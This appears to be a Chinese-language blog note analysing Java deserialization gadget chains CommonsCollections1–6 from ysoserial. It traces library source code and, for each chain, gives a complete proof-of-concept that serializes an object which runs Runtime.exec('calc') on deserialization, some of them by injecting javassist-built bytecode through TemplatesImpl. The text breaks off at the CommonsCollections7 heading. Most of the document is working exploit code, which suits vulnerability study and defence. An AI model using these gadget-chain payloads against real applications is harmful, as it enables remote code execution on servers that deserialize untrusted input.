前言 整理了一下之前的笔记,文中不对一些前置知识进行科普,如javassist
、动态代理等,如果不了解的同学可以自行百度哈。
分析 CommonsCollections1 ysoserial给出调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
我们先从最底下调用Runtime.exec
的地方开始,跟进org.apache.commons.collections.functors.InvokerTransformer#transform
,可以看到有反射的调用,所以我们需要寻找对此方法调用的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
跟进org.apache.commons.collections.functors.ChainedTransformer#transform
此处的iTransformers
我们可以在ChainedTransformer
实例化的时候传进去,进而可以达到调用org.apache.commons.collections.functors.InvokerTransformer#transform
的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private final Transformer[] iTransformers; public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } //省略部分代码 public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
跟进org.apache.commons.collections.map.LazyMap#get
,此处的this.factory
我们可以通过org.apache.commons.collections.map.LazyMap#decorate
将我们的org.apache.commons.collections.functors.ChainedTransformer
的实例传进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 protected final Transformer factory;public static Map decorate (Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = FactoryTransformer.getInstance(factory); } } public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
所以我们怎么样才能调用org.apache.commons.collections.map.LazyMap#get
呢,看到ysoserial
给调用栈,跟进sun.reflect.annotation.AnnotationInvocationHandler#invoke
,可以看到此处的memberValues
为一个Map,且invoke
方法中有this.memberValues.get(var4)
,也就是说我们可以通过invoke
调用到org.apache.commons.collections.map.LazyMap#get
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private final Map<String, Object> memberValues;public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else if (var5.length != 0 ) { throw new AssertionError("Too many parameters for an annotation method" ); } else { switch (var7) { case 0 : return this .toStringImpl(); case 1 : return this .hashCodeImpl(); case 2 : return this .type; default : Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException(this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
怎么样才能触发invoke方法呢,回到最初触发反序列化的地方sun.reflect.annotation.AnnotationInvocationHandler#readObject
,可以看到this.memberValues.entrySet().iterator()
,如果此处的this.memberValues
是通过动态代理构建的,那么当this.memberValues
进行方法调用时是使用代理类的invoke方法进行调用的,并且sun.reflect.annotation.AnnotationInvocationHandler#readObject
实现InvocationHandler
接口,所以整个攻击链就行形成了(不得不佩服作者的Java功底Orz)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); }
最终POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package CommonsCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonsCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,new Class[]{}}), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,new Object[]{}}), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out" ))); objectOutputStream.writeObject(object); ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("test.out" )); objectInputStream.readObject(); } }
CommonsCollections2 ysoserial
的给出的调用链如下:
1 2 3 4 5 6 7 8 Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
跟进java.util.PriorityQueue#readObject
,可以看到将对象读取之后,会调用java.util.PriorityQueue#heapify
对堆进行调整,在heapify
处打一个断点对ysoserial
进行调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
跟进java.util.PriorityQueue#heapify
,其中queue
数组为我们传入的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的实例
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
跟进java.util.PriorityQueue#siftDown
,如果comparator
不为空则使用自定义的comparator
对元素进行筛选
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
跟进java.util.PriorityQueue#siftDownUsingComparator
,可以看到这里使用了comparator.compare
进行比较,此处的comparator.compare
为org.apache.commons.collections4.comparators.TransformingComparator#compare
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
跟进org.apache.commons.collections4.comparators.TransformingComparator#compare
,可以看到此处又是对this.transformer.transform
调用
1 2 3 4 5 6 7 private final Transformer<? super I, ? extends O> transformer;public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
然后这里是通过InvokerTransformer.transform
调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public O transform (Object input) { if (input == null ) { return null ; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var6); } } }
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的newTransformer
方法,此处的getTransletInstance
会获取我们传入的字节码的实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
,此处的_class
为空,会进入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
对_class
进行一个赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
跟进defineTransletClasses
,可以看到循环那里将_bytecodes(也就是我们构造的恶意字节码)
通过Classloader
加载之后传给_class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } } }
然后回到getTransletInstance
中AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()
此处对我们恶意字节码中的类进行了实例化,进而触发了RCE。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package CommonsCollections;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections2 { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templatesImpl,new byte [][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name" ); field1.setAccessible(true ); field1.set(templatesImpl,"test" ); InvokerTransformer transformer=new InvokerTransformer("newTransformer" ,new Class[]{},new Object[]{}); TransformingComparator comparator=new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2 ); queue.add(1 ); queue.add(1 ); Field field2=queue.getClass().getDeclaredField("comparator" ); field2.setAccessible(true ); field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue" ); field3.setAccessible(true ); field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out" )); inputStream.readObject(); } }
CommonsCollections3 Commons Collections3
算是Commons Collections1
和Commons Collections2
两个攻击链的结合吧,理解了1和2这个应该不难理解
2中是通过InvokerTransformer
去触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的newTransformer
方法,而3是通过InstantiateTransformer
实例化com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
触发构造方法进而触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的newTransformer
方法
跟进InstantiateTransformer
的transform
方法,可以看到con.newInstance(this.iArgs)
,对con
进行了一个实例化,也就是此处会对com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
进行一个实例化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException" , var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public" , var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception" , var9); } }
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
构造方法,可以看到此处_transformer = (TransformerImpl) templates.newTransformer()
触发了TransformerImpl
的newTransformer
方法,
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
然后触发InstantiateTransformer
的transform
方法和1一样也是通过动态代理的,这里就不多赘述了
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 package CommonsCollections;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonsCollections3 { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templatesImpl,new byte [][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name" ); field1.setAccessible(true ); field1.set(templatesImpl,"test" ); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out" )); outputStream.writeObject(object); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out" )); inputStream.readObject(); } }
CommonsCollections4 利用链和2一样,只不过是把 InvokerTransformer
换成了InstantiateTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package CommonsCollections;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.Transformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections4 { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templatesImpl,new byte [][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name" ); field1.setAccessible(true ); field1.set(templatesImpl,"test" ); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); TransformingComparator comparator=new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(2 ); queue.add(1 ); queue.add(1 ); Field field2=queue.getClass().getDeclaredField("comparator" ); field2.setAccessible(true ); field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue" ); field3.setAccessible(true ); field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out" )); inputStream.readObject(); } }
CommonsCollections5 ysoserial
中给出的调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
跟进javax.management.BadAttributeValueExpException#readObject
,此处Object valObj = gf.get("val", null);
之后,valObj
就是我们传入org.apache.commons.collections.keyvalue.TiedMapEntry
的实例,不过需要System.getSecurityManager() == null
,幸运的是,默认情况下,SecurityManager
是关闭的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
此处是org.apache.commons.collections.keyvalue.TiedMapEntry#toString
到org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
,然后又是LazyMap.get
1 2 3 4 5 6 7 8 9 private final Map map;public Object getValue () { return this .map.get(this .key); } public String toString () { return this .getKey() + "=" + this .getValue(); }
之后又是一样的操作了,最终POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package CommonsCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.*;import java.util.Map;public class CommonsCollections5 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,new Class[]{}}), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,new Object[]{}}), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test" ); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null ); Field field=badAttributeValueExpException.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException,tiedMapEntry); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out" ))); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out" )); objectInputStream.readObject(); } }
需要注意的这里不能在BadAttributeValueExpException
实例化的时候传入entry
,而是通过反射赋值
1 2 3 4 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null ); Field field = badAttributeValueExpException.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, entry);
因为如果是在实例化的时候传入entry
,此时this.val = val.toString()
就是一串字符串
1 2 3 4 5 6 7 public String toString () { return "BadAttributeValueException: " + val; } public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); }
CommonsCollections6 CommonsCollections6
和5差不多,ysoserial
中给出调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
CommonsCollections6
和CommonsCollections5
不同的是,6是将BadAttributeValueExpException
换成了HashSet
。
跟进java.util.HashSet#readObject
1 2 3 4 5 6 7 8 9 10 11 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { for (int i=0 ; i<size; i++) { @SuppressWarnings ("unchecked" ) E e = (E) s.readObject(); map.put(e, PRESENT); } }
跟进java.util.HashMap#put
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
跟进java.util.HashMap#hash
1 2 3 4 static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
跟进org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
跟进org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
,可以看到这里又调用了我们熟悉的LazyMap.get
1 2 3 public Object getValue () { return this .map.get(this .key); }
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package CommonsCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CommonsCollections6 { public static void main (String[] args) throws Exception { Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,new Class[]{}}), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,new Object[]{}}), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,Testtransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1" ); HashSet hashSet=new HashSet(1 ); hashSet.add(tiedMapEntry); lazyMap.remove("test1" ); Field field = ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(Testtransformer, transformers); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out" )); objectOutputStream.writeObject(hashSet); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out" )); objectInputStream.readObject(); } }
另外还有一种利用方法是,在java.util.HashMap#readObject
中直接调用hash
,直接省去了前面HashSet
调用的前几步,也就是说我们可以直接用HashMap
即可,并不需要HashSet
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { //省略部分 // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
HashMap
的POC是将
1 2 3 HashSet hashSet=new HashSet(1 ); hashSet.add(tiedMapEntry); lazyMap.remove("test1" );
替换为:
1 2 3 HashMap hashMap=new HashMap(); hashMap.put(tiedMapEntry,"test2" ); lazyMap.remove("test1" );
CommonsCollections7 ysoserial给出的调用栈如下:
